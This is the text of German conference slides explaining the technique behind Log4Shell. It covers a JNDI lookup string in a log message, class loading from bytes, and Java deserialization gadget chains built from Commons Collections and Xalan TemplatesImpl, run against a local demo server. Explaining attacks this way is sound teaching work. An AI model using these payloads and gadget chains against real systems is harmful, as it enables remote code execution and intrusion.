Die Technik hinter Log4Shell & Co.
Christoph Wende und Christian Kumpe, 22. März, JavaLand 2023
Christoph Wende und Christian Kumpe, 22. März, JavaLand 2023
Expert Developer
Expert Backend Developer & Team Lead
… und alle freuen sich auf die besinnliche Zeit...

Über Platzhalter können in Log4j2 dynamisch Informationen in Log-Nachrichten eingefügt werden. Diese Informationen konnten in der Standardkonfiguration auch über JNDI geladen werden.
public class VulnerableLoggingClass {
private static final Logger logger = LogManager.getLogger(VulnerableLoggingClass.class);
public static void main(String[] args) {
logger.error("Malicious string in log message: ${jndi:ldap://127.0.0.1:1389/restOfUrl}");
}
}

public class Step1_HelloWorld {
static {
System.out.println("Static initializer of Step1_HelloWorld");
}
public static void main(String[] args) {
System.out.println("Hello JavaLand 2023!");
}
}
Ausgabe des Beispiels:
Static initializer of Step1_HelloWorld
Hello JavaLand 2023!
Laut JLS 12.4. Initialization of Classes and Interfaces
Initialization of a class consists of executing its static initializers and the initializers for static fields (class variables) declared in the class.
import java.lang.reflect.Method;
public class Step2_ClassForName {
public static void main(String[] args) throws Exception {
Class<?> helloWorldClass = Class.forName("com.divae...Step1_HelloWorld");
Method mainMethod = helloWorldClass.getMethod("main", String[].class);
mainMethod.invoke(null, (Object) new String[0]);
}
}
Ausgabe des Beispiels:
Static initializer of Step1_HelloWorld
Hello JavaLand 2023!
import java.io.File;
import java.lang.reflect.Method;
import java.nio.file.Files;
public class Step3_ClassForBytes {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(new File("target/classes/.../Step1_HelloWorld.class").toPath());
Class<?> helloWorldClass = new OverloadedClassLoader().defineClass(bytes);
Method mainMethod = helloWorldClass.getMethod("main", String[].class);
mainMethod.invoke(null, (Object) new String[0]);
}
private static class OverloadedClassLoader extends ClassLoader {
Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length, null);
}
}
}
Ausgabe des Beispiels:
Static initializer of Step1_HelloWorld
Hello JavaLand 2023!
Der LDAP Server liefert auf die Anfrage einen Eintrag zurück, der den Angriffscode triggert.
foojavaNamingReferencehttp://127.0.0.1:8080/com.divae.talks.log4shell.SimplePayloadfooac ed 00 05 73 72 00 3a
63 6f 6d 2e 73 75 6e 2e
…
import java.io.*;
public class SerializationBasics {
// Serialisierbare Klasse
public static class SerializableClass implements Serializable {
private int value = 0;
}
public static void main(String[] args) throws Exception {
// Objekt erzeugen und Wert zuweisen
SerializableClass serializableObject = new SerializableClass();
serializableObject.value = 1;
// Objekt in Datei schreiben
try (FileOutputStream file = new FileOutputStream("serialized-data.tmp");
ObjectOutputStream out = new ObjectOutputStream(file)) {
out.writeObject(serializableObject);
}
// Objekt aus Datei lesen und Wert anzeigen
try (FileInputStream file = new FileInputStream("serialized-data.tmp");
ObjectInputStream in = new ObjectInputStream(file)) {
SerializableClass deserializedObject = (SerializableClass) in.readObject();
System.out.println("Eingelesener Wert: " + deserializedObject.value);
}
}
}
Ausgabe des Beispiels:
Eingelesener Wert: 1
import java.io.*;
public class SerializationBasics {
// Klasse mit eigener Serialisierungslogik
public static class SerializableClass implements Serializable {
private int value = 0;
private void writeObject(ObjectOutputStream out) {
System.out.println("writeObject wird ausgeführt");
}
private void readObject(ObjectInputStream in) {
System.out.println("readObject wird ausgeführt");
}
}
public static void main(String[] args) throws Exception {
SerializableClass serializableObject = new SerializableClass();
serializableObject.value = 1;
try (FileOutputStream file = new FileOutputStream("serialized-data.tmp");
ObjectOutputStream out = new ObjectOutputStream(file)) {
out.writeObject(serializableObject);
}
try (FileInputStream file = new FileInputStream("serialized-data.tmp");
ObjectInputStream in = new ObjectInputStream(file)) {
SerializableClass deserializedObject = (SerializableClass) in.readObject();
System.out.println("Eingelesener Wert: " + deserializedObject.value);
}
}
}
Ausgabe des Beispiels
writeObject wird ausgeführt
readObject wird ausgeführt
Eingelesener Wert: 0
Eine HashMap serialisiert nicht ihre interne Datenstruktur, sondern direkt ihre Schlüssel und Einträge. Beim Deserialisieren werden diese wieder in die interne Datenstruktur eingefügt.
package java.util;
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
…
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
…
// Die Einträge werden aus dem ObjectInputStream gelesen und eingefügt
for (int i = 0; i < mappings; i++) {
…
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
…
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
…
}
Damit kann die .hashCode() Implementierung serialisierbarer Klassen getriggert werden.
.hashCode()-Methode des Key-Objekts aus.Über die geschickte Kombination verschiedener Features von Commons Collections können beim Deserialisieren beliebige Methoden im Classpath ausgeführt werden.
import com.divae.talks.log4shell.exploit.deserialization.ReflectionUtil;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class CallingAnArbitraryConstructorOnDeserialization {
public static class SerializableClass implements Serializable {
public void myMethod() {
System.out.println("myMethod wird ausgeführt");
}
}
public static void main(String[] args) throws Exception {
// Objekt erzeugen
SerializableClass serializableObject = new SerializableClass();
// Instantiiert die übergebene Klasse mit einem Konstruktor mit der angegebenen Signatur und den Parametern
InvokerTransformer invokerTransformer = new InvokerTransformer("myMethod", new Class[0], new Object[0]);
// Ruft den invokerTransformer zum Erzeugen nicht vorhandener Einträge auf
LazyMap lazyMap = LazyMap.lazyMap(new HashMap(), invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, serializableObject);
// Erzeuge eine HashMap mit 1 Eintrag
Map hashMap = new HashMap();
hashMap.put("this key will be replaces by tiedMapEntry", "a value");
// Ersetzte den Schlüssel des Eintrags über Reflection
Object firstMapEntry = hashMap.entrySet().iterator().next();
ReflectionUtil.setFieldValue(firstMapEntry, "key", tiedMapEntry);
try (FileOutputStream file = new FileOutputStream("serialized-data.tmp");
ObjectOutputStream out = new ObjectOutputStream(file)) {
out.writeObject(hashMap);
}
try (FileInputStream file = new FileInputStream("serialized-data.tmp");
ObjectInputStream in = new ObjectInputStream(file)) {
in.readObject();
}
}
}
Ausgabe des Beispiels:
myMethod wird ausgeführt
.hashCode()-Methode des Key-Objekts aus..hashCode() auf dem TiedMapEntry ausgeführt wird.In Kombination mit dem vorherigen Kniff, lässt sich mit einer Klasse der XSLT Bibliothek Apache Xalan eine eigene Klasse aus serialisierten Daten initialisieren.
import com.divae.talks.log4shell.exploit.deserialization.ReflectionUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.nio.file.Files;
public class Step4_InstantiatingClassFromSerializedData {
public static void main(String[] args) throws Exception {
// Bytecode der auf dem Zielsystem ausgeführt werden soll
byte[] classBytes = Files.readAllBytes(new File("target/test-classes/com/divae/talks/log4shell/TransletPayload.class").toPath());
TemplatesImpl templates = new TemplatesImpl();
// Füge Bytecode in templates Objekt ein
ReflectionUtil.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
// Damit beim Deserialisieren nicht zu früh eine NullPointerException auftritt
ReflectionUtil.setFieldValue(templates, "_name", "");
try (FileOutputStream file = new FileOutputStream("serialized-data.tmp");
ObjectOutputStream out = new ObjectOutputStream(file)) {
out.writeObject(templates);
}
try (FileInputStream file = new FileInputStream("serialized-data.tmp");
ObjectInputStream in = new ObjectInputStream(file)) {
TemplatesImpl deserializedTemplates = (TemplatesImpl) in.readObject();
// Wird dann am Ende durch den Kniff im vorherigen Beispiel ersetzt
deserializedTemplates.newTransformer();
}
}
}
Ausgabe des Beispiels:
Payload in static initializer of TransletPayload
Exception in thread "main" java.lang.NullPointerException
at …
Den Fehler kann „getrost“ ignoriert werden, da der gewünschte Code bereits ausgeführt wurde.
.hashCode()-Methode des Key-Objekts aus..hashCode() auf dem TiedMapEntry ausgeführt wird..newTransformer() aufgerufen..newTransformer() auf dem TemplatesImpl-Objekt lädt den Bytecode in die JVM. Dabei werden die enthaltenen static Initializers ausgeführt.
# Exploit Server läuft bereits…
# Auswählen der Java Version
JAVA_HOME=…/jdk1.8.0_66
# Starten des verwundbaren Codes
$JAVA_HOME/bin/java -classpath \
$HOME/git/log4shell-background/target/classes:\
$HOME/.m2/repository/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar:\
$HOME/.m2/repository/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar:\
$HOME/.m2/repository/org/apache/commons/commons-collections4/4.0/commons-collections4-4.0.jar \
com.divae.talks.log4shell.exploit.VulnerableLoggingClass
Bitte gebt uns Feedback!
Copyright © diva-e